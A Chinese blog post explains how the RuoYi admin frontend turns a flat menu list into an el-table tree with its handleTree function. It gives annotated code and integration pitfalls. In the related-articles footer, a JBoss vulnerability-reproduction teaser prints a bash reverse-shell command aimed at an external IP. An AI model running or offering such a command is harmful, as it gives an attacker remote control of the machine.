有关若依菜单管理的改造

导言:

  搞了个后端对接若依前端,对接菜单管理时候懵懵的就搞完了,也是搞了很久。记一下逻辑和要注意的东西,以后做想似的能有个改造思路。

逻辑:

主要是要把后端传过的数组列表做成类似

这样的,所以要转格式

后端传过来的数据:

const data = [
  { id: 1, name: '根节点1', parentId: null },
  { id: 2, name: '根节点2', parentId: null },
  { id: 3, name: '子节点1-1', parentId: 1 },
  { id: 4, name: '子节点1-2', parentId: 1 },
  { id: 5, name: '子节点2-1', parentId: 2 },
  { id: 6, name: '子节点1-1-1', parentId: 3 },
  { id: 7, name: '子节点1-1-2', parentId: 3 }
];

转换成el-table要的

const tree = [
  {
    id: 1,
    name: '根节点1',
    parentId: null,
    children: [
      {
        id: 3,
        name: '子节点1-1',
        parentId: 1,
        children: [
          { id: 6, name: '子节点1-1-1', parentId: 3 },
          { id: 7, name: '子节点1-1-2', parentId: 3 }
        ]
      },
      { id: 4, name: '子节点1-2', parentId: 1 }
    ]
  },
  {
    id: 2,
    name: '根节点2',
    parentId: null,
    children: [
      { id: 5, name: '子节点2-1', parentId: 2 }
    ]
  }
];

若依是定义了一个方法来实现转换的过程,大致思路:

  • 第一次循环用于建立节点之间的父子关系映射。
  • 第二次循环用于识别根节点并初始化树的结构。
  • 第三次循环则利用递归构建完整的树形结构,确保所有节点的层级关系正确。

讲实话我还是懵懵的,模糊理解

1.把扁平数组每个数据看成点,两点之间连线

2.分别把两点连线是父节点的一端找到

3.对应接起来

没什么实感..

实现

1.index.vue

请求后端,获得数据,调用handleTree转换格式,绑到表格上

/** 查询菜单列表 */
    getList() {
      this.loading = true;
      listMenu(this.queryParams).then(response => {
        console.log("请求信息response:",response);
        
        this.menuList = this.handleTree(response.data, "id","parentUID");
        console.log("请求信息this.menuList:",this.menuList);
        this.loading = false;
      });
    },

2.handleTree()转换

在src\utils\ruoyi.js里.

把扁平化的数组数据结构(通常是包含父子关系的节点)转换为一个树形结构

/**
 * 构造树型结构数据
 * @param {*} data 数据源           // 输入的原始数据,是一个扁平结构的数组
 * @param {*} id id字段 默认 'id'   // 数据中表示唯一标识符的字段名,默认为 'id'
 * @param {*} parentId 父节点字段 默认 'parentId'  // 数据中表示父节点的字段名,默认为 'parentId'
 * @param {*} children 孩子节点字段 默认 'children'  // 用来存储子节点的字段名,默认为 'children'
 */
export function handleTree(data, id = 'id', parentId = 'parentId', children = 'children') {
  
  // 配置对象,定义了 id 字段、parentId 字段、children 字段的名称
  let config = {
    id: id || 'id',                      // id 标识字段,默认为 'id'  
    parentId: parentId || 'parentId',     // 父节点标识字段,默认为 'parentId'
    childrenList: children || 'children'  // 子节点列表字段,默认为 'children'
  };

  // 存储每个父节点对应的子节点数组
  var childrenListMap = {}; 
  
  // 存储所有节点的 id 及其节点对象,用于快速查找
  var nodeIds = {};  
  
  // 最终的树形结构数组,存储根节点
  var tree = [];

  // 第一次循环:构建 childrenListMap 和 nodeIds
  for (let d of data) {
    let parentId = d[config.parentId];    // 获取当前节点的父节点 id

    if (childrenListMap[parentId] == null) {
      childrenListMap[parentId] = [];     // 如果该父节点还没有子节点数组,则初始化
    }
    
    nodeIds[d[config.id]] = d;            // 保存当前节点的 id 和节点本身,方便快速查找
    childrenListMap[parentId].push(d);     // 将当前节点加入到其父节点对应的子节点数组中

  }

  
  // 第二次循环:找出根节点,并添加到 tree 数组中
  for (let d of data) {
    let parentId = d[config.parentId];     // 获取当前节点的父节点 id

    if (nodeIds[parentId] == null ) {       // 如果当前节点的父节点不存在,说明它是根节点
      tree.push(d);                        // 将根节点加入到树结构中

    }
  }
  // 第三次循环:递归遍历根节点的子节点,并构造完整的树形结构
  for (let t of tree) {
    
    adaptToChildrenList(t);                // 递归处理每个根节点,生成其子节点结构
  }

  /**
   * 递归地将子节点添加到对应的父节点中
   * @param {*} o 当前正在处理的节点对象
   */
  function adaptToChildrenList(o) {
    if (childrenListMap[o[config.id]] !== null) {
      o[config.childrenList] = childrenListMap[o[config.id]];   // 将子节点数组添加到当前节点的 children 字段
    }
   
    if (o[config.childrenList]) {                               // 如果当前节点有子节点
      for (let c of o[config.childrenList]) {
        adaptToChildrenList(c);                                 // 递归处理每个子节点
      }
    }
  }

  // 返回最终构造好的树形结构
  return tree;
}

注意的点

1.handleTree()

这方法开始定义了config对象,其中把每个字段的父节点id,子节点的名字都规范好了,如果后端这俩传来的不一样的话在调用handleTree()时对应传过去就行,不然不一样用了默认的话会报错。

2.后端数据

后端传过来的每条数据都应该带上parentId字段,不管有没有,不然也会报错

3.el-table绑定

绑定的是本身的id,不是父节点的,绑父节点的会报键重复

<el-table
      v-if="refreshTable"
      v-loading="loading"
      :data="menuList"
      row-key="id"
      :default-expand-all="isExpandAll"
      :tree-props="{children: 'children', hasChildren: 'hasChildren'}"
    >


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/885300.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

心理咨询行业为何要有自己的知识付费小程序平台 心理咨询小程序搭建 集师saas知识付费小程序平台搭建

在快节奏的现代生活中&#xff0c;心理健康问题日益凸显&#xff0c;心理咨询行业迎来了前所未有的发展机遇。然而&#xff0c;传统咨询模式受限于地域、时间等因素&#xff0c;难以满足日益增长的多元化需求。在此背景下&#xff0c;搭建自己的知识付费小程序&#xff0c;成为…

【MWORKS专业工具箱系列教程】控制系列工具箱第四期:时域分析

本工具箱教程以控制系统模型创建、分析与设计流程为主线&#xff0c;通过大量示例介绍MWORKS控制系统工具箱的功能和具体使用。共计10篇文章&#xff0c;上一篇主要介绍了控制系统连接与化简。 同元软控&#xff1a;【MWORKS专业工具箱系列教程】控制系 列工具箱第三期&#x…

IT基础监控范围和对象

监控易作为一款由美信时代独立自主研发的分布式一体化集中监控平台&#xff0c;其监控范围极为广泛&#xff0c;几乎涵盖了所有主流的IT基础设施以及相关的设备和系统。以下是对监控易监控范围的详细介绍&#xff1a; 一、IT基础资源监控 服务器硬件监控&#xff1a;监控易支…

【宝藏篇】加密软件有哪些?10款好用的加密软件推荐!

小明&#xff1a;嘿&#xff0c;小华&#xff0c;你知道有哪些好用的加密软件吗&#xff1f;我最近需要保护一些敏感数据。 小华&#xff1a;当然&#xff0c;小明&#xff01;现在市场上有很多优秀的加密软件&#xff0c;可以帮助你保护数据安全。我正好有10款宝藏级的加密软件…

Tableau|一入门

一 什么是BI工具 BI 工具即商业智能&#xff08;Business Intelligence&#xff09;工具&#xff0c;是一种用于收集、整理、分析和展示企业数据的软件系统&#xff0c;其主要目的是帮助企业用户更好地理解和利用数据&#xff0c;以支持决策制定。 主要功能&#xff1a; 1.数据…

【数据结构中的哈希】

泛黄的春联还残留在墙上.......................................................................................................... 文章目录 前言 一、【哈希结构的介绍】 1.1【哈希结构的概念】 1.2【哈希冲突】 1.3【哈希函数的设计】 1.4【应对哈希冲突的办法】 一、…

工厂模式和抽象工厂模式的实验报告

1. 实验结果&#xff1a; 记录并附上不同模型对象&#xff08;例如&#xff1a;士兵、机器人、骑士&#xff09;的展示效果截图。 2. 性能分析&#xff1a; 记录并比较抽象工厂模式与直接实例化的性能测试结果&#xff0c;分析它们在不同数量级对象创建时的开销与效益。 2.1…

集运公司如何怎么利用系统开展营销活动?

在当前集运市场激烈竞争的背景下&#xff0c;企业如何通过有效的营销策略脱颖而出&#xff0c;成为行业佼佼者&#xff1f;易境通集运系统以其强大的营销功能和工具&#xff0c;为集运企业提供了全新的营销解决方案。以下是如何利用该系统开展营销活动的具体策略。 1.积分卡券&…

Jupyter的使用分享

文章目录 碎碎念安装方法1.安装Anaconda方法2.通过库的安装方式 启动使用教程1.指定目录打开2.启动后的简单使用 小结 碎碎念 前情提示 之前与许多小伙伴交流的时候&#xff0c;发现大家对于pycharm更容易上手&#xff08;可能是比较好设置中文的原因&#xff09;&#xff0c;在…

MySQL扩展

一、慢查询&#xff08;慢日志&#xff09; 默认关闭的 定位慢SQL 简单&#xff1a;show profile&#xff0c;启用时会对服务器的性能产生额外的负担 -- 启用性能监控 mysql> set profiling1;-- 执行SQL mysql> SELECT * from member-- 性能分析 mysql> show p…

基于卷积神经网络的体育运动项目分类识别系统

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 随着计算机视觉和深度学习技术的快速发展&#xff0c;利用先进的图像处理技术对体育运动进行智能分类与识别已成为研究热点。传统的运动分析方法通常依赖于人工观察和记录&#xff0c;耗时耗力且容…

AndroidLogger插件使用技巧

它是一个Notepad插件&#xff0c;由于未上架Notepad的插件市场&#xff0c;因此需要独立下载并解压到 Notepad 安装目录下 plugin 里面即可。已更新到 SourceForge&#xff0c;您可以到那里获取最新的包&#xff0c;目前还在持续升级。 https://sourceforge.net/projects/andro…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍&#xff1a; PHP Web开发&#xff1a;PHP是一种广泛使用的开源服务器端脚本语言&#xff0c;特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

执行力怎么培养?

执行力怎么培养&#xff1f; 并行&#xff1a;适合在初期养成习惯&#xff0c;不抱对结果的期望天才就是强迫症&#xff1a;适合中期修身&#xff1a;适合高级 并行&#xff1a;适合在初期养成习惯&#xff0c;不抱对结果的期望 在你开始做任何事情的时候&#xff0c;不要一开…

游戏找不到xinput1_3.dll的原因及解决方法

1. xinput1_3.dll 基本信息 1.1 文件名 xinput1_3.dll 是一个动态链接库&#xff08;DLL&#xff09;文件&#xff0c;它属于 Microsoft DirectX for Windows 的一部分。这个文件主要负责处理与 Xbox 360 控制器和其他兼容 XInput 标准的游戏手柄相关的输入信号&#xff0c;确…

【Python调用ddddocr打包成exe文件指定模型库及注意事项】

ddddocr 打包成 exe 后一直存在各种各样的问题&#xff0c;例如&#xff1a; ddddocr\common.onnx failed. File doesn’t exist 查阅资料后&#xff0c;问题得到解决。但相关资料不多&#xff0c;且不够详细&#xff0c;特写下本文&#xff0c;以便于后来者解决问题。 希望本文…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

CPU大端和小端的判断:【两种方法+源代码】

1&#xff1a;为什么会出现大小端 在计算机系统中&#xff0c;数据是以字节为单位进行存储的。每个地址单元都对应着一个字节&#xff0c;一个字节为8位&#xff08;bit&#xff09;。然而&#xff0c;在C语言等编程语言中&#xff0c;除了8位的char类型外&#xff0c;还有16位…

SpringBoot+Activiti7工作流入门实例

目录 文章目录 目录准备Activiti建模工具1、BPMN-js在线设计器1.1 安装1.2 使用说明1.3运行截图2、IDEA安装Activiti Designer插件2.1安装插件2.2 设置编码格式防止中文乱码2.3 截图简单工作流入门实例1. 新建Spring Boot工程2. 引入Activiti相关依赖添加版本属性指定仓库添加依…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端安装Linux参考 建议还是国外教材学习…人家的PPT比…